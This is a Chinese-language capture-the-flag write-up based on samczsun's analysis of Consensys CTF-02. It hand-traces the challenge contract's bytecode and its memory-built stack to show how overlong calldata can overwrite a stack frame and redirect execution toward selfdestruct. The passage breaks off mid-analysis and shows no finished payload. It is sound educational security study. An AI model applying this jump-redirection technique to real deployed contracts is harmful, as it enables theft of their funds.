Consensys CTF-02 栈溢出重定向利用
基于 samczsun 的解析文章学习
本文都是基于https://samczsun.com/consensys-ctf-2-rop-evm/ 这篇文章进行的分析,如有需要可以参考原文。
谢绝转载!!!
这是 Consensys 在 2019 年推出的有奖竞猜系列 2, 比之前的 CTF-01“_以太坊沙盒_[1]”要难上不少。这个 CTF 中跟上篇文章[2]一样也是没有公开源码,甚至于现在 Etherscan 上都找不到对应的合约。当然他的合约地址在0xefa51bc7aafe33e6f0e4e44d19eab7595f4cca87[3] 。本 CTF 的要求很简单,利用其合约中提供的一个自毁方法,拿到所有的 ETH。是不是听起来很简单呢?:smile:
:point_right: 首先是借助于工具,拿到该合约的 bytecode 码,和机器翻译的 solidity 代码。https://contract-library.com/contracts/Ethereum/0xEFA51BC7AAFE33E6F0E4E44D19EAB7595F4CCA87
image20210619194447400.png
从工具上可以看到,存在 5 个公开的函数,和两个全局变量:get
占据 slot0 和 die
占据 slot1。
die()
function die() public payable {
require(msg.sender == _die);
selfdestruct(_die);
}
可以看到这应该是我们最后要取得该题解答的函数,只要保证msg.sender == die
即可通过selfdestruct(_dit)
拿到所有的 ETH,从而解答该题。看起来好像很简单的样子哦:laughing:
get()
function get() public {
require(msg.sender != _get);
return _get;
}
这个 get 函数应该是用来返回 slot0 的值的,看起来也很简单:smiley:
set(uint256 varg0)
function set(uint256 varg0) public payable {
0xe8();
v0, v1 = 0xb4();
MEM[MEM[256] + 32] = 836;
MEM[MEM[256] + 32 + 32] = varg0;
MEM[MEM[256] + 32 + 32 + 32] = 0;
STORAGE[MEM[MEM[256] + 32 + 32 + 32]] = MEM[MEM[256] + 32 + 32 + 32 - 32];
MEM[256] = MEM[256] + 32 + 32 + 32 - 32 - 32 - 32 - 32;
MEM[256] = MEM[MEM[256] + 32 + 32 + 32 - 32 - 32 - 32];
}
如果仅仅看翻译过来的solidity
代码,可以看到有一个给STORAGE
赋值的操作,也许我们可以利用它,来将我们的msg.sender
地址赋值给到die
中
在这里,我们需要分析下 OPCODE 代码,来接触到本题的核心——手动构建的栈
这里我们将逐行手动标记 OPCODE 的执行栈空间,来分析该set(uint256)
函数. 函数签名为:60fe47b1
首先是函数选择器部分
0x0: PUSH3 0x100000 0x10000
0x4: PUSH1 0x40 0x10000 0x40
0x6: MSTORE
0x7: PUSH1 0x4 0x4
0x9: CALLDATASIZE 0x24
0xa: LT 0x0
0xb: PUSH2 0x68 0x0 0x68
0xe: JUMPI
0xf: PUSH1 0x0 0x0
0x11: CALLDATALOAD 0x60fe47b1...
0x12: PUSH29 0x100000000000000000000000000000000000000000000000000000000 0x60fe47b1... 0x100...
0x30: SWAP1 0x100.. 0x60fe47b1...
0x31: DIV 0x60fe47b1
0x32: PUSH4 0xffffffff 0x60fe47b1 0xffffffff
0x37: AND 0x60fe47b1
0x38: DUP1 0x60fe47b1 0x60fe47b1
0x39: PUSH4 0x7909947a
0x3e: EQ
0x3f: PUSH2 0x23a
0x42: JUMPI
0x43: DUP1
0x44: PUSH4 0x60fe47b1 0x60fe47b1 0x60fe47b1 0x60fe47b1
0x49: EQ 0x60fe47b1 0x1
0x4a: PUSH2 0x30f 0x60fe47b1 0x1 0x30f
0x4d: JUMPI 0x60fe47b1
函数选择器首先是拿到了函数签名,然后与合约中 public,external 的函数签名进行比对,EQ 返回 1 后,再跳转到对应的函数 wrapper 中。下面我们看线函数包装器中是怎么样的逻辑
这部分是函数包装器部分,但实际上定义了函数的整个逻辑框图
再没有具体跳进去看每一个函数前,假设函数不影响栈结构
0x30f: JUMPDEST 0x60fe47b1
0x310: PUSH2 0x317 0x60fe47b1 0x317
0x313: PUSH2 0xe8 0x60fe47b1 0x317 0xe8
0x316: JUMP 0x60fe47b1 0x317
0x317: JUMPDEST 0x60fe47b1
0x318: PUSH2 0x31f 0x60fe47b1 0x31f
0x31b: PUSH2 0xb4 0x60fe47b1 0x31f 0xb4
0x31e: JUMP 0x60fe47b1 0x31f
0x31f: JUMPDEST 0x60fe47b1
0x320: PUSH2 0x32a 0x60fe47b1 0x32a
0x323: PUSH2 0x344 0x60fe47b1 0x32a 0x344
0x326: PUSH2 0x8c 0x60fe47b1 0x32a 0x344 0x8c
0x329: JUMP 0x60fe47b1 0x32a 0x344
0x32a: JUMPDEST 0x60fe47b1
0x32b: PUSH2 0x335 0x60fe47b1 0x335
0x32e: PUSH1 0x4 0x60fe47b1 0x335 0x4
0x330: CALLDATALOAD 0x60fe47b1 0x335 Id[4:36]
0x331: PUSH2 0x8c 0x60fe47b1 0x335 Id[4:36] 0x8c
0x334: JUMP 0x60fe47b1 0x335 Id[4:36]
0x335: JUMPDEST 0x60fe47b1
0x336: PUSH2 0x33f 0x60fe47b1 0x33f
0x339: PUSH1 0x0 0x60fe47b1 0x33f 0x0
0x33b: PUSH2 0x8c 0x60fe47b1 0x33f 0x0 0x8c
0x33e: JUMP 0x60fe47b1 0x33f 0x0
0x33f: JUMPDEST 0x60fe47b1
0x340: PUSH2 0x2ea 0x60fe47b1 0x2ea
0x343: JUMP 0x60fe47b1
0x344: JUMPDEST 0x60fe47b1
0x345: PUSH1 0x0
0x347: PUSH1 0x0
0x349: RETURN
=> 翻译一下
function set(uint256 value) public nonPayable{
push_stack_frame();
uint redirectTo = 0x344;
push_stack(redirectTo);
uint256 newStackPointer;
assembly{
newStackPointer := calldataload(0x04)
}
push_stack(newStackPointer);
push_stack(0x00);
set_impl();
}
classDiagram
start --|> 0xe8
0xe8 --|> 0xb4
0xb4 --|> 0x8c_0x344
0x8c_0x344 --|> 0x8c_CALLDATALOAD
0x8c_CALLDATALOAD --|> 0x8c_0x00
0x8c_0x00 --|> 0x2ea
class start {
0x30f JUMDEST
}
class 0x8c_0x344{
0x329 IN
0x32A OUT
}
class 0x8c_CALLDATALOAD{
0x331 IN
0x335 OUT
}
class 0x8c_0x00{
0x33E IN
0x33F OUT
}
class 0xb4{
0x31E IN
0x31F OUT
}
class 0xe8{
0x316 IN
0x317 OUT
}
class 0x2ea{
0x343 IN
}
拿到函数 wrapper 时,先不要具体全部都跳进去看细节,我们先看下整个流程是怎样的,有几处内部调用,以及最后从哪里返回。
首先是 0x30f 为进入点,先调用 0xe8, 然后返回到 0x317, 再依次调用 0xb4, 返回到 0x31f, 再调用 0x8c, 带参数 0x344,返回到 0x32a, 在调用一次 0x8c, 带参数为 CALLDATALOAD(0x4), 返回到 0x335, 再调用 0x8c, 带参数 0x0, 返回到 0x33f, 然后调用 0x2ea 函数,不确定返回值在哪。通过流程图可以清晰看到基本上是一个顺序调用的关系。接下来要分析每一个函数都在干嘛,作用是啥:cry:
简单说是判断该函数是否是 Payable,如果不是 Payable, 则如果函数调用时传送了 ETH,流程就会回退。
0xe8: JUMPDEST 0x60fe47b1 0x317
0xe9: CALLVALUE 0x60fe47b1 0x317 0x0
0xea: ISZERO 0x60fe47b1 0x317 0x01
0xeb: PUSH2 0xc1 0x60fe47b1 0x317 0x01 0xc1
0xee: JUMPI 0x60fe47b1 0x317
0xc1: JUMPDEST 0x60fe47b1 0x317
0xc2: JUMP 0x60fe47b1
=> 翻译成solidity
modifier nonPayable() {
require(msg.value == 0);
_;
}
可以看到其在内部调用了 0x8c, 然后返回到 0xbf 处. 简单说作用是把当前内存地址为 100 的值放入手动构建的栈里
0xb4: JUMPDEST 0x60fe47b1 0x31f
0xb5: PUSH2 0xbf 0x60fe47b1 0x31f 0xbf
0xb8: PUSH2 0x100 0x60fe47b1 0x31f 0xbf 0x100
0xbb: MLOAD 0x60fe47b1 0x31f 0xbf M[100]
0xbc: PUSH2 0x8c 0x60fe47b1 0x31f 0xbf M[100] 0x8c
0xbf: JUMPDEST 0x60fe47b1 0x31f 0xbf M[100] 0x8c
0xc0: JUMP 0x60fe47b1 0x31f 0xbf M[100]
此处调用函数0x8c, 参数为M[100], 函数返回再0xbf处,第二次调用栈如下:
0xbf: JUMPDEST 0x60fe47b1 0x31f
0xc0: JUMP 0x60fe47b1
=> 翻译成solidity
function push_stack_frame() private {
uint256 value;
assembly{
value := mload(0x100)
}
push_stack(value)
}
从上面的分析可以看出,该函数有一个参数,返回值为 0. 简单来讲是再内存中手动构建一个栈,每次 push 一个值到栈顶,同时跟新栈顶指向的内存地址。注意该值是 32 位长,如果过长就会覆盖栈里的其他元素。这也是要解答这个题目必须理解的一点。
0x8c: JUMPDEST 0x60fe47b1 backpointer value
0x8d: PUSH1 0x20 0x60fe47b1 backpointer value 0x20
0x8f: PUSH2 0x100 0x60fe47b1 backpointer value 0x20 0x100
0x92: MLOAD 0x60fe47b1 backpointer value 0x20 M[100]
0x93: ADD 0x60fe47b1 backpointer value M[100]+0x20
0x94: DUP1 0x60fe47b1 backpointer value M[100]+0x20 M[100]+0x20
0x95: PUSH2 0x100 0x60fe47b1 backpointer value M[100]+0x20 M[100]+0x20 0x100
0x98: MSTORE 0x60fe47b1 backpointer value M[100]+0x20
0x99: MSTORE 0x60fe47b1 backpointer
0x9a: JUMP 0x60fe47b1
=> 翻译一下
function push_stack(uint256 value) private {
uint temp;
assembly{
temp := mload(0x100)
mstore(add(temp, 0x20), value)
mstore(0x100, add(temp, 0x20))
}
}
这个函数后面的控制流程还不清楚. 可以看到该函数内部有一个关键的OPCODE``:
SSTORE
, 这是我们最关心的。因为我们需要更改 slot1 的值,以便于获取该合约的所有 Ether。同时我们可以看到再该函数内部,也调用了相当多的函数。简单看我们发现函数调用顺序是 0x2ea -> 0x9b -> 0x9b -> 0xc3. 可以猜测 0x9b 不需要参数,但返回 1 个值到栈里,0xc3 也不需要参数
0x2ea: JUMPDEST 0x60fe47b1
0x2eb: PUSH1 0x20 0x60fe47b1 0x20
0x2ed: PUSH2 0x100 0x60fe47b1 0x20 0x100
0x2f0: MLOAD 0x60fe47b1 0x20 M[100]
0x2f1: SUB 0x60fe47b1 M[100]-0x20
0x2f2: MLOAD 0x60fe47b1 M[M[100]-0x20]
0x2f3: PUSH2 0x100 0x60fe47b1 M[M[100]-0x20] 0x100
0x2f6: MLOAD 0x60fe47b1 M[M[100]-0x20] M[100]
0x2f7: MLOAD 0x60fe47b1 M[M[100]-0x20] M[M[100]]
0x2f8: SSTORE 0x60fe47b1
0x2f9: PUSH2 0x300 0x60fe47b1 0x300
0x2fc: PUSH2 0x9b 0x60fe47b1 0x300 0x9b
0x2ff: JUMP 0x60fe47b1 0x300
0x300: JUMPDEST 0x60fe47b1 returnValue
0x301: POP 0x60fe47b1
0x302: PUSH2 0x309 0x60fe47b1 0x309
0x305: PUSH2 0x9b 0x60fe47b1 0x309 0x9b
0x308: JUMP 0x60fe47b1 0x309
0x309: JUMPDEST 0x60fe47b1 returnValue
0x30a: POP 0x60fe47b1
0x30b: PUSH2 0xc3 0x60fe47b1 0xc3
0x30e: JUMP 0x60fe47b1
=> 翻译一下
function set_impl() private{
uint temp0;
uint temp1
assembly{
temp0 := mload(0x100) //M[100]
temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
sstore(mload(temp0), temp1)
}
pop_stack();
pop_stack();
pop_stack_frame();
}
:duck: 先整体理解下 0x2ea, 它主要将栈顶的值作为键,将栈里第 1 个元素的值作为值,储存再以太坊上。然后将栈里的值弹出来,弹出两个栈里的值,然后弹出栈的 Frame。
简单看是拿到栈顶的元素,然后将栈的指针向下移动 0x20
0x9b: JUMPDEST 0x60fe47b1 backpointer
0x9c: PUSH2 0x100 0x60fe47b1 backpointer 0x100
0x9f: MLOAD 0x60fe47b1 backpointer M[100]
0xa0: MLOAD 0x60fe47b1 backpointer M[M[100]]
0xa1: PUSH1 0x20 0x60fe47b1 backpointer M[M[100]] 0x20
0xa3: PUSH2 0x100 0x60fe47b1 backpointer M[M[100]] 0x20 0x100
0xa6: MLOAD 0x60fe47b1 backpointer M[M[100]] 0x20 M[100]
0xa7: SUB 0x60fe47b1 backpointer M[M[100]] M[100]-0x20
0xa8: PUSH2 0x100 0x60fe47b1 backpointer M[M[100]] M[100]-0x20 0x100
0xab: MSTORE 0x60fe47b1 backpointer M[M[100]]
0xac: SWAP1 0x60fe47b1 M[M[100]] backpointer
0xad: JUMP 0x60fe47b1 M[M[100]]
=> 翻译一下
function pop_stack() private returns (uint256) {
uint value;
uint temp;
assembly{
temp := mload(0x100)
value := mload(temp)
mstore(0x100, sub(temp, 0x20))
}
return value;
}
可以看淡这个函数里面也是调用了多个函数。函数调用顺序为:0xc3 -> 0x9b -> 0x9b -> 0xae -> J(returnValue) 简单来说,弹出两个栈里的值,第一个值作为后面流程重定向的位置,第二个值作为新的 STACK 的内存起点
0xc3: JUMPDEST 0x60fe47b1
0xc4: PUSH2 0xcb 0x60fe47b1 0xcb
0xc7: PUSH2 0x9b 0x60fe47b1 0xcb 0x9b
0xca: JUMP 0x60fe47b1 0xcb
0xcb: JUMPDEST 0x60fe47b1 returnValue
0xcc: PUSH2 0xd3 0x60fe47b1 returnValue 0xd3
0xcf: PUSH2 0x9b 0x60fe47b1 returnValue 0xd3 0x9b
0xd2: JUMP 0x60fe47b1 returnValue 0xd3
0xd3: JUMPDEST 0x60fe47b1 returnValue returnValue2
0xd4: PUSH2 0xdc 0x60fe47b1 returnValue returnValue2 0xdc
0xd7: SWAP1 0x60fe47b1 returnValue 0xdc returnValue2
0xd8: PUSH2 0xae 0x60fe47b1 returnValue 0xdc returnValue2 0xae
0xdb: JUMP 0x60fe47b1 returnValue 0xdc returnValue2
0xdc: JUMPDEST 0x60fe47b1 returnValue
0xdd: JUMP 0x60fe47b1 J(returnValue)
0xde: JUMPDEST
=> 翻译一下
function pop_stack_frame() private {
int redirectTo;
int pointer;
redirectTo = pop_stack();
pointer = pop_stack();
newStackPointer(pointer);
assembly {
jump(redirectTo)
}
}
这个函数很简单,就是把它的参数赋值到 M[100]中,但意义很重大,意义是定义新的 STACK 的内存起点。因为 STack 的内存起点就是 M[100]
0xae: JUMPDEST 0x60fe47b1 returnValue 0xdc returnValue2
0xaf: PUSH2 0x100 0x60fe47b1 returnValue 0xdc returnValue2 0x100
0xb2: MSTORE 0x60fe47b1 returnValue 0xdc
0xb3: JUMP 0x60fe47b1 returnValue
=> 翻译一下
function newStackPointer(uint256 pointer) {
assembly{
mstore(0x100, pointer)
}
}
:rainbow:分析到这里,需要我们梳理一下手动构造的栈里到底存了啥?set(uint256 varg0)
函数到底干了什么
function set(uint256 value) public nonPayable{
push_stack_frame();
uint redirectTo = 0x344;
push_stack(redirectTo);
push_stack(value);
push_stack(0x00);
set_impl();
}
function set_impl() private{
uint temp0;
uint temp1
assembly{
temp0 := mload(0x100) //M[100]
temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]
sstore(mload(temp0), temp1)
}
pop_stack();
pop_stack();
pop_stack_frame();
}
function pop_stack_frame() private {
int redirectTo;
int pointer;
redirectTo = pop_stack();
pointer = pop_stack();
newStackPointer(pointer);
assembly {
jump(redirectTo)
}
}
label redirectTo:
0x344: JUMPDEST
0x345: PUSH1 0x0
0x347: PUSH1 0x0
0x349: RETURN
=> 翻译一下
function set(uint256 value) public nonPayable {
assembly{
sstore(0x00, value)
}
}
:rainbow_flag: 该函数首先是把 frame 压到栈里,再压入后面的 redirectTo 重定向位点压入栈里,再压入栈顶指针,再压入 0x00,后面将栈顶的值作为 key,栈里顺序 1 的元素作为值写到以太坊中。之后弹出栈顶 0x00, 弹出栈顶指针,弹出重定向位点,并保存到 redirecTo 变量中,再弹出 frame,并把 frame 作为新的栈顶指针创建新的栈,最后跳转到重定向位点。
可以看到这个函数内部也是调用了很多其他的函数。函数调用顺序为:
0x23a -> 0xde -> 0x8c(0x0) -> 0x8c(0x0) -> 0xb4 -> 0x8c(0x29b) -> 0x8c(90000) -> 0x8c(0x28a) -> 0x8c(size) -> 0x15d
0x23a: JUMPDEST 0x7909947a
0x23b: PUSH2 0x242 0x7909947a 0x242
0x23e: PUSH2 0xde 0x7909947a 0x242
0x241: JUMP 0x7909947a 0x242
0x242: JUMPDEST 0x7909947a
0x243: PUSH2 0x24c 0x7909947a 0x24c
0x246: PUSH1 0x0 0x7909947a 0x24c 0x0
0x248: PUSH2 0x8c 0x7909947a 0x24c 0x0 0x8c
0x24b: JUMP 0x7909947a 0x24c 0x0
0x24c: JUMPDEST 0x7909947a
0x24d: PUSH2 0x100 0x7909947a 0x100
0x250: MLOAD 0x7909947a M[100]
0x251: PUSH2 0x25a 0x7909947a M[100] 0x25a
0x254: PUSH1 0x0 0x7909947a M[100] 0x25a 0x0
0x256: PUSH2 0x8c 0x7909947a M[100] 0x25a 0x0 0x8c
0x259: JUMP 0x7909947a M[100] 0x25a 0x0
0x25a: JUMPDEST 0x7909947a M[100]
0x25b: CALLDATASIZE 0x7909947a M[100] size
0x25c: PUSH1 0x44 0x7909947a M[100] size 0x44
0x25e: PUSH3 0x90000 0x7909947a M[100] size 0x44 0x90000
0x262: CALLDATACOPY 0x7909947a M[100]
0x263: PUSH2 0x26a 0x7909947a M[100] 0x26a
0x266: PUSH2 0xb4 0x7909947a M[100] 0x26a 0xb4
0x269: JUMP 0x7909947a M[100] 0x26a
0x26a: JUMPDEST 0x7909947a M[100]
0x26b: PUSH2 0x275 0x7909947a M[100] 0x275
0x26e: PUSH2 0x29b 0x7909947a M[100] 0x275 0x29b
0x271: PUSH2 0x8c 0x7909947a M[100] 0x275 0x29b 0x8c
0x274: JUMP 0x7909947a M[100] 0x275 0x29b
0x275: JUMPDEST 0x7909947a M[100]
0x276: PUSH2 0x281 0x7909947a M[100] 0x281
0x279: PUSH3 0x90000 0x7909947a M[100] 0x281 0x90000
0x27d: PUSH2 0x8c 0x7909947a M[100] 0x281 0x90000 0x8c
0x280: JUMP 0x7909947a M[100] 0x281 0x90000
0x281: JUMPDEST 0x7909947a M[100]
0x282: PUSH2 0x28a 0x7909947a M[100] 0x28a
0x285: DUP2 0x7909947a M[100] 0x28a topPointer
0x286: PUSH2 0x8c 0x7909947a M[100] 0x28a topPointer 0x8c
0x289: JUMP 0x7909947a M[100] 0x28a 0x28a
0x28a: JUMPDEST 0x7909947a M[100]
0x28b: PUSH2 0x296 0x7909947a M[100] 0x296
0x28e: PUSH1 0x44 0x7909947a M[100] 0x296 0x44
0x290: CALLDATASIZE 0x7909947a M[100] 0x296 0x44 size
0x291: SUB 0x7909947a M[100] 0x296 size-0x44
0x292: PUSH2 0x8c 0x7909947a M[100] 0x296 size-0x44 0x8c
0x295: JUMP 0x7909947a M[100] 0x296 size-0x44
0x296: JUMPDEST 0x7909947a M[100]
0x297: PUSH2 0x15d 0x7909947a M[100] 0x15d
0x29a: JUMP 0x7909947a M[100]
0x29b: JUMPDEST 0x7909947a M[100]
0x29c: PUSH2 0x2a3 0x7909947a M[100] 0x2a3
0x29f: PUSH2 0xb4 0x7909947a M[100] 0x2a3 0xb4
0x2a2: JUMP 0x7909947a M[100] 0x2a3
0x2a3: JUMPDEST 0x7909947a M[100]
0x2a4: PUSH2 0x2ae 0x7909947a M[100] 0x2ae
0x2a7: PUSH2 0x2bc 0x7909947a M[100] 0x2ae 0x2bc
0x2aa: PUSH2 0x8c 0x7909947a M[100] 0x2ae 0x2bc 0x8c
0x2ad: JUMP 0x7909947a M[100] 0x2ae 0x2bc
0x2ae: JUMPDEST 0x7909947a M[100]
0x2af: PUSH2 0x2b7 0x7909947a M[100] 0x2b7
0x2b2: DUP2 0x7909947a M[100] 0x2b7 0x2b7
0x2b3: PUSH2 0x8c 0x7909947a M[100] 0x2b7 0x2b7 0x8c
0x2b6: JUMP 0x7909947a M[100] 0x2b7 0x2b7
0x2b7: JUMPDEST 0x7909947a M[100]
0x2b8: PUSH2 0xf3 0x7909947a M[100] 0xf3
0x2bb: JUMP 0x7909947a M[100]
=> 翻译一下
function 0x7909947a() public {
stack_pointer_init();
push_stack(0x0);
uint topPointer;
assembly{
topPointer := mload(0x100)
}
push_stack(0x0);
uint size;
assembly {
size := calldatasize()
calldatacopy(0x90000, 0x44, size)
}
push_stack_frame();
uint return_pointer = 0x29b;
push_stack(return_pointer);
push_stack(0x90000);
push_stack(topPointer);
push_stack(size-0x44);
0x7909947a_impl();
}
0xde
这里给 0xde 取名叫stack_pointer_init()
,原因很简单,因为其作用是初始化内存地址 100 的值为固定值 0x100. 其实作用是初始化内存栈的栈顶。
0xde: JUMPDEST 0x7909947a backPointer
0xdf: PUSH2 0xe6 0x7909947a backPointer 0xe6
0xe2: PUSH2 0x7c 0x7909947a backPointer 0xe6 0x7c
0xe5: JUMP 0x7909947a backPointer 0xe6
0xe6: JUMPDEST 0x7909947a backPointer
0xe7: JUMP 0x7909947a
0x7c: JUMPDEST 0x7909947a backPointer 0xe6
0x7d: PUSH2 0x100 0x7909947a backPointer 0xe6 0x100
0x80: PUSH2 0x100 0x7909947a backPointer 0xe6 0x100 0x100
0x83: MSTORE 0x7909947a backPointer 0xe6
0x84: JUMP 0x7909947a backPointer
=> 翻译一下
function stack_pointer_init() private {
assembly{
mstore(0x100, 0x100)
}
}
分析该函数,发现函数内部调用的顺序为:0x15d -> 0x8c(0x0) -> 0x168(循环, 0x1ce 跳出循环) -> 0x1e0(循环,0x211 跳出循环) -> 0x9b -> 0x9b -> 0x9b -> 0x9b -> 0xc3
0x15d: JUMPDEST 0x7909947a framePointer
0x15e: PUSH2 0x167 0x7909947a framePointer 0x167
0x161: PUSH1 0x0 0x7909947a framePointer 0x167 0x0
0x163: PUSH2 0x8c 0x7909947a framePointer 0x167 0x0 0x8c
0x166: JUMP 0x7909947a framePointer 0x167 0x0
0x167: JUMPDEST 0x7909947a framePointer
0x168: JUMPDEST
0x169: PUSH1 0x20 0x7909947a framePointer 0x20
0x16b: PUSH2 0x100 0x7909947a framePointer 0x20 0x100
0x16e: MLOAD 0x7909947a framePointer 0x20 M[100]
0x16f: SUB 0x7909947a framePointer M[100]-0x20
0x170: MLOAD 0x7909947a framePointer M[M[100]-0x20]
0x171: PUSH2 0x100 0x7909947a framePointer M[M[100]-0x20] 0x100
0x174: MLOAD 0x7909947a framePointer M[M[100]-0x20] M[100]
0x175: MLOAD 0x7909947a framePointer M[M[100]-0x20] M[M[100]]
0x176: SUB 0x7909947a framePointer M[M[100]]-M[M[100]-0x20]
0x177: ISZERO 0x7909947a framePointer nonZero
0x178: PUSH2 0x1ce 0x7909947a framePointer nonZero 0x1ce
0x17b: JUMPI 0x7909947a framePointer
0x17c: PUSH32 0x100000000000000000000000000000000000000000000000000000000000000 0x7909947a framePointer 0x10..
0x19d: PUSH2 0x100 0x7909947a framePointer 0x10.. 0x100
0x1a0: MLOAD 0x7909947a framePointer 0x10.. M[100]
0x1a1: MLOAD 0x7909947a framePointer 0x10.. M[M[100]]
0x1a2: PUSH1 0x60 0x7909947a framePointer 0x10.. M[M[100]] 0x60
0x1a4: PUSH2 0x100 0x7909947a framePointer 0x10.. M[M[100]] 0x60 0x100
0x1a7: MLOAD 0x7909947a framePointer 0x10.. M[M[100]] 0x60 M[100]
0x1a8: SUB 0x7909947a framePointer 0x10.. M[M[100]] M[100]-0x60
0x1a9: MLOAD 0x7909947a framePointer 0x10.. M[M[100]] M[M[100]-0x60]
0x1aa: ADD 0x7909947a framePointer 0x10.. M[M[100]]+M[M[100]-0x60]
0x1ab: MLOAD 0x7909947a framePointer 0x10.. M[M[M[100]]+M[M[100]-0x60]]
0x1ac: DIV 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10..
0x1ad: PUSH2 0x100 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. 0x100
0x1b0: MLOAD 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[100]
0x1b1: MLOAD 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]]
0x1b2: PUSH1 0x40 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40
0x1b4: PUSH2 0x100 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40 0x100
0x1b7: MLOAD 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] 0x40 M[100]
0x1b8: SUB 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] M[100]-0x40
0x1b9: MLOAD 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]] M[M[100]-0x40]
0x1ba: ADD 0x7909947a framePointer M[M[M[100]]+M[M[100]-0x60]]/0x10.. M[M[100]]+M[M[100]-0x40]
0x1bb: MSTORE8 0x7909947a framePointer
0x1bc: JUMPDEST 0x7909947a framePointer
0x1bd: PUSH1 0x1 0x7909947a framePointer 0x1
0x1bf: PUSH2 0x100 0x7909947a framePointer 0x1 0x100
0x1c2: MLOAD 0x7909947a framePointer 0x1 M[100]
0x1c3: MLOAD 0x7909947a framePointer 0x1 M[M[100]]
0x1c4: ADD 0x7909947a framePointer 0x1+M[M[100]]
0x1c5: PUSH2 0x100 0x7909947a framePointer 0x1+M[M[100]] 0x100
0x1c8: MLOAD 0x7909947a framePointer 0x1+M[M[100]] M[100]
0x1c9: MSTORE 0x7909947a framePointer
0x1ca: PUSH2 0x168 0x7909947a framePointer 0x168
0x1cd: JUMP 0x7909947a framePointer
0x1ce: JUMPDEST 0x7909947a framePointer
0x1cf: PUSH1 0x0 0x7909947a framePointer 0x0
0x1d1: PUSH2 0x100 0x7909947a framePointer 0x0 0x100
0x1d4: MLOAD 0x7909947a framePointer 0x0 M[100]
0x1d5: MLOAD 0x7909947a framePointer 0x0 M[M[100]]
0x1d6: PUSH1 0x40 0x7909947a framePointer 0x0 M[M[100]] 0x40
0x1d8: PUSH2 0x100 0x7909947a framePointer 0x0 M[M[100]] 0x40 0x100
0x1db: MLOAD 0x7909947a framePointer 0x0 M[M[100]] 0x40 M[100]
0x1dc: SUB 0x7909947a framePointer 0x0 M[M[100]] M[100]-0x40
0x1dd: MLOAD 0x7909947a framePointer 0x0 M[M[100]] M[M[100]-0x40]
0x1de: ADD 0x7909947a framePointer 0x0 M[M[100]]+M[M[100]-0x40]
0x1df: MSTORE8 0x7909947a framePointer
0x1e0: JUMPDEST 0x7909947a framePointer
0x1e1: PUSH1 0x40 0x7909947a framePointer 0x40
0x1e3: PUSH2 0x100 0x7909947a framePointer 0x40 0x100
0x1e6: MLOAD 0x7909947a framePointer 0x40 M[100]
0x1e7: MLOAD 0x7909947a framePointer 0x40 M[M[100]]
0x1e8: MOD 0x7909947a framePointer M[M[100]]%0x40
0x1e9: ISZERO 0x7909947a framePointer nonZero
0x1ea: PUSH2 0x211 0x7909947a framePointer nonZero 0x211
0x1ed: JUMPI 0x7909947a framePointer
0x1ee: PUSH1 0x0 0x7909947a framePointer 0x0
0x1f0: PUSH2 0x100 0x7909947a framePointer 0x0 0x100
0x1f3: MLOAD 0x7909947a framePointer 0x0 M[100]
0x1f4: MLOAD 0x7909947a framePointer 0x0 M[M[100]]
0x1f5: PUSH1 0x40 0x7909947a framePointer 0x0 M[M[100]] 0x40
0x1f7: PUSH2 0x100 0x7909947a framePointer 0x0 M[M[100]] 0x40 0x100
0x1fa: MLOAD 0x7909947a framePointer 0x0 M[M[100]] 0x40 M[100]
0x1fb: SUB 0x7909947a framePointer 0x0 M[M[100]] M[100]-0x40
0x1fc: MLOAD 0x7909947a framePointer 0x0 M[M[100]] M[M[100]-0x40]
0x1fd: ADD 0x7909947a framePointer 0x0 M[M[100]]+M[M[100]-0x40]
0x1fe: MSTORE8 0x7909947a framePointer
0x1ff: JUMPDEST 0x7909947a framePointer
0x200: PUSH1 0x1 0x7909947a framePointer 0x1
0x202: PUSH2 0x100 0x7909947a framePointer 0x1 0x100
0x205: MLOAD 0x7909947a framePointer 0x1 M[100]
0x206: MLOAD 0x7909947a framePointer 0x1 M[M[100]]
0x207: ADD 0x7909947a framePointer 0x1+M[M[100]]
0x208: PUSH2 0x100 0x7909947a framePointer 0x1+M[M[100]] 0x100
0x20b: MLOAD 0x7909947a framePointer 0x1+M[M[100]] M[100]
0x20c: MSTORE 0x7909947a framePointer
0x20d: PUSH2 0x1e0 0x7909947a framePointer 0x1e0
0x210: JUMP 0x7909947a framePointer
0x211: JUMPDEST 0x7909947a framePointer
0x212: PUSH2 0x219 0x7909947a framePointer 0x219
0x215: PUSH2 0x9b 00x7909947a framePointer 0x219 0x9b
0x218: JUMP 0x7909947a framePointer 0x219
0x219: JUMPDEST 0x7909947a framePointer returnValue
0x21a: POP 0x7909947a framePointer
0x21b: PUSH2 0x222 0x7909947a framePointer 0x222
0x21e: PUSH2 0x9b 0x7909947a framePointer 0x222 0x9b
0x221: JUMP 0x7909947a framePointer 0x222
0x222: JUMPDEST 0x7909947a framePointer returnValue2
0x223: POP 0x7909947a framePointer
0x224: PUSH2 0x22b 0x7909947a framePointer 0x22b
0x227: PUSH2 0x9b 0x7909947a framePointer 0x22b 0x9b
0x22a: JUMP 0x7909947a framePointer 0x22b
0x22b: JUMPDEST 0x7909947a framePointer returnValue3
0x22c: POP 0x7909947a framePointer
0x22d: PUSH2 0x234 0x7909947a framePointer 0x234
0x230: PUSH2 0x9b 0x7909947a framePointer 0x234 0x9b
0x233: JUMP 0x7909947a framePointer 0x234
0x234: JUMPDEST 0x7909947a framePointer returnValue3
0x235: POP 0x7909947a framePointer
0x236: PUSH2 0xc3 0x7909947a framePointer 0xc3
0x239: JUMP 0x7909947a framePointer
=> 翻译一下
function 0x7909947a_impl() public {
push_stack(0x0);
copy_data();
uint temp = get_stack(0) + get_stack(2);
assembly{
mstore(temp, 0x00)
}
pad_data();
pop_stack();
pop_stack();
pop_stack();
pop_stack();
pop_stack_frame();
}
function pad_data() private {
while (get_stack(0) % 0x40 != 0) {
uint temp0 = get_stack(0);
